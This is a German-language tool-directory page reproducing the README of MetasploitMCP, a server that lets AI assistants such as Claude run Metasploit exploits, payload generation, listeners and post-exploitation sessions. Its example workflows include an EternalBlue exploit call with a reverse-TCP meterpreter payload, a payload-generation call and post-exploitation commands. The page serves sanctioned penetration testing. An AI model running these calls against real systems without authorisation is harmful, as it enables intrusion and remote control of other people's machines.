Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
MetasploitMCP — MCP-Server für Metasploit | Kitploit
Tools/GitHubGitHub/gh05tcrew/metasploitmcp
Penetrationstest-FrameworksExploit-FrameworksPayload-GenerierungSchwachstellenanalyseExploitationPost-ExploitationPenetrationstestsCommand and ControlRed TeamingRemote-Access-ToolShellcode-Generierung
70720054vor 7 MonatenVon Kitploit geprüft
GitHub
gh05tcrew/metasploitmcp

MetasploitMCP

MCP-Server für Metasploit

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Metasploit MCP Server

Ein Model Context Protocol (MCP) Server für die Metasploit Framework Integration.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Beschreibung

Dieser MCP-Server stellt eine Brücke zwischen großen Sprachmodellen wie Claude und der Penetrationstest-Plattform Metasploit Framework dar. Er ermöglicht es KI-Assistenten, Metasploit-Funktionen über standardisierte Tools dynamisch aufzurufen und zu steuern, wodurch eine natürliche Sprachschnittstelle zu komplexen Sicherheitstest-Workflows entsteht.

Funktionen

Modulinformationen

  • list_exploits: Verfügbare Metasploit-Exploit-Module suchen und auflisten
  • list_payloads: Verfügbare Metasploit-Payload-Module suchen und auflisten, mit optionaler Filterung nach Plattform und Architektur

Exploit-Workflow

  • run_exploit: Einen Exploit gegen ein Ziel konfigurieren und ausführen, mit der Option, zuerst Checks auszuführen
  • run_auxiliary_module: Ein beliebiges Metasploit-Auxiliary-Modul mit benutzerdefinierten Optionen ausführen
  • run_post_module: Post-Exploitation-Module gegen bestehende Sessions ausführen

Payload-Generierung

  • generate_payload: Payload-Dateien über Metasploit RPC generieren (speichert Dateien lokal)
Tool herunterladen

Session-Verwaltung

  • list_active_sessions: Aktuelle Metasploit-Sessions mit detaillierten Informationen anzeigen
  • send_session_command: Einen Befehl in einer aktiven Shell- oder Meterpreter-Session ausführen
  • terminate_session: Eine aktive Session gewaltsam beenden

Handler-Verwaltung

  • list_listeners: Alle aktiven Handler und Hintergrund-Jobs anzeigen
  • start_listener: Einen neuen multi/handler zum Empfangen von Verbindungen erstellen
  • stop_job: Einen laufenden Job oder Handler beenden

Voraussetzungen

  • Installiertes Metasploit Framework und laufender msfrpcd
  • Python 3.10 oder höher
  • Erforderliche Python-Pakete (siehe requirements.txt)

Installation

  1. Dieses Repository klonen
  2. Abhängigkeiten installieren:
    root@kitploit:~
    pip install -r requirements.txt
    
  3. Umgebungsvariablen konfigurieren (optional):
    root@kitploit:~
    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Wo generierte Payloads gespeichert werden
    

Verwendung

Den Metasploit-RPC-Dienst starten:

root@kitploit:~
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Transportoptionen

Der Server unterstützt zwei Transportmethoden:

  • HTTP/SSE (Server-Sent Events): Standardmodus für die Interoperabilität mit den meisten MCP-Clients
  • STDIO (Standard Input/Output): Wird mit Claude Desktop und ähnlichen direkten Pipe-Verbindungen verwendet

Sie können den Transportmodus explizit über das Flag --transport auswählen:

root@kitploit:~
# Mit HTTP/SSE-Transport ausführen (Standard)
python MetasploitMCP.py --transport http

# Mit STDIO-Transport ausführen
python MetasploitMCP.py --transport stdio

Zusätzliche Optionen für den HTTP-Modus:

root@kitploit:~
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop Integration

Für die Integration mit Claude Desktop konfigurieren Sie claude_desktop_config.json:

root@kitploit:~
{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Andere MCP-Clients

Für andere MCP-Clients, die HTTP/SSE verwenden:

  1. Starten Sie den Server im HTTP-Modus:

    root@kitploit:~
    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
    
  2. Konfigurieren Sie Ihren MCP-Client für die Verbindung mit:

    • SSE-Endpunkt: http://your-server-ip:8085/sse

Sicherheitshinweise

⚠️ WICHTIGE SICHERHEITSWARNUNG:

Dieses Tool bietet direkten Zugriff auf die Fähigkeiten des Metasploit Frameworks, einschließlich leistungsstarker Exploit-Funktionen. Verwenden Sie es verantwortungsvoll und nur in Umgebungen, in denen Sie ausdrücklich die Erlaubnis zur Durchführung von Sicherheitstests haben.

  • Validieren und überprüfen Sie alle Befehle vor der Ausführung
  • Nur in abgeschotteten Testumgebungen oder mit entsprechender Autorisierung ausführen
  • Beachten Sie, dass Post-Exploitation-Befehle zu erheblichen Systemänderungen führen können

Beispiel-Workflows

Grundlegende Exploitation

  1. Verfügbare Exploits auflisten: list_exploits("ms17_010")
  2. Exploit auswählen und ausführen: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. Sessions auflisten: list_active_sessions()
  4. Befehle ausführen: send_session_command(1, "whoami")

Post-Exploitation

  1. Post-Modul ausführen: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. Benutzerdefinierte Befehle senden: send_session_command(1, "sysinfo")
  3. Beenden, wenn fertig: terminate_session(1)

Handler-Verwaltung

  1. Listener starten: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. Aktive Handler auflisten: list_listeners()
  3. Payload generieren: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. Handler stoppen: stop_job(1)

Testen

Dieses Projekt enthält umfassende Unit- und Integrationstests, um Zuverlässigkeit und Wartbarkeit zu gewährleisten.

Voraussetzungen für Tests

Testabhängigkeiten installieren:

root@kitploit:~
pip install -r requirements-test.txt

Oder das praktische Installationsprogramm verwenden:

root@kitploit:~
python run_tests.py --install-deps
# ODER
make install-deps

Tests ausführen

Schnellbefehle

root@kitploit:~
# Alle Tests ausführen
python run_tests.py --all
# ODER
make test

# Mit Coverage-Bericht ausführen
python run_tests.py --all --coverage
# ODER
make coverage

# Mit HTML-Coverage-Bericht ausführen
python run_tests.py --all --coverage --html
# ODER
make coverage-html

Spezifische Test-Suiten

root@kitploit:~
# Nur Unit-Tests
python run_tests.py --unit
# ODER
make test-unit

# Nur Integrationstests
python run_tests.py --integration
# ODER
make test-integration

# Tests zur Optionsverarbeitung
python run_tests.py --options
# ODER
make test-options

# Tests der Hilfsfunktionen
python run_tests.py --helpers
# ODER
make test-helpers

# MCP-Tools-Tests
python run_tests.py --tools
# ODER
make test-tools

Testoptionen

root@kitploit:~
# Langsame Tests einschließen
python run_tests.py --all --slow

# Netzwerktests einschließen (erfordert tatsächliches Netzwerk)
python run_tests.py --all --network

# Ausführliche Ausgabe
python run_tests.py --all --verbose

# Schnelltest (kein Coverage, Fail Fast)
make quick-test

# Debug-Modus (detaillierte Fehlerinformationen)
make test-debug

Teststruktur

  • tests/test_options_parsing.py: Unit-Tests für die fehlertolerante Optionsverarbeitung
  • tests/test_helpers.py: Unit-Tests für interne Hilfsfunktionen und MSF-Client-Verwaltung
  • tests/test_tools_integration.py: Integrationstests für alle MCP-Tools mit simuliertem Metasploit-Backend
  • conftest.py: Gemeinsame Test-Fixtures und Konfiguration
  • pytest.ini: Pytest-Konfiguration mit Coverage-Einstellungen

Testfunktionen

  • Umfassendes Mocking: Alle Metasploit-Abhängigkeiten werden simuliert, sodass Tests ohne eine echte MSF-Installation ausgeführt werden können
  • Async-Unterstützung: Vollständige Unterstützung für async/await-Tests mittels pytest-asyncio
  • Coverage-Berichte: Detaillierte Coverage-Analyse mit HTML-Berichten
  • Parametrisierte Tests: Effizientes Testen mehrerer Eingabeszenarien
  • Fixture-Verwaltung: Wiederverwendbare Test-Fixtures für gängige Setup-Szenarien

Coverage-Berichte

Nach dem Ausführen der Tests mit Coverage sind die Berichte verfügbar unter:

  • Terminal: Coverage-Zusammenfassung nach dem Testlauf
  • HTML: htmlcov/index.html (bei Verwendung der Option --html)

CI/CD-Integration

Für kontinuierliche Integration:

root@kitploit:~
# CI-freundlicher Testbefehl
make ci-test
# ODER
python run_tests.py --all --coverage --verbose

Konfigurationsoptionen

Payload-Speicherverzeichnis

Standardmäßig werden mit generate_payload erzeugte Payloads in einem payloads-Verzeichnis in Ihrem Home-Ordner gespeichert (~/payloads oder C:\Users\YourUsername\payloads). Sie können diesen Speicherort über die Umgebungsvariable PAYLOAD_SAVE_DIR anpassen.

Festlegen der Umgebungsvariable:

  • Windows (PowerShell):

    root@kitploit:~
    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
    
  • Windows (Eingabeaufforderung):

    root@kitploit:~
    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
    
  • Linux/macOS:

    root@kitploit:~
    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
    
  • In der Claude-Desktop-Konfiguration:

    root@kitploit:~
    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Nur hinzufügen, wenn Sie den Standard überschreiben möchten
    }
    

Hinweis: Wenn Sie einen benutzerdefinierten Pfad angeben, stellen Sie sicher, dass er existiert oder dass die Anwendung die Berechtigung hat, ihn zu erstellen. Wenn der Pfad ungültig ist, könnte die Payload-Generierung fehlschlagen.

Lizenz

Apache 2.0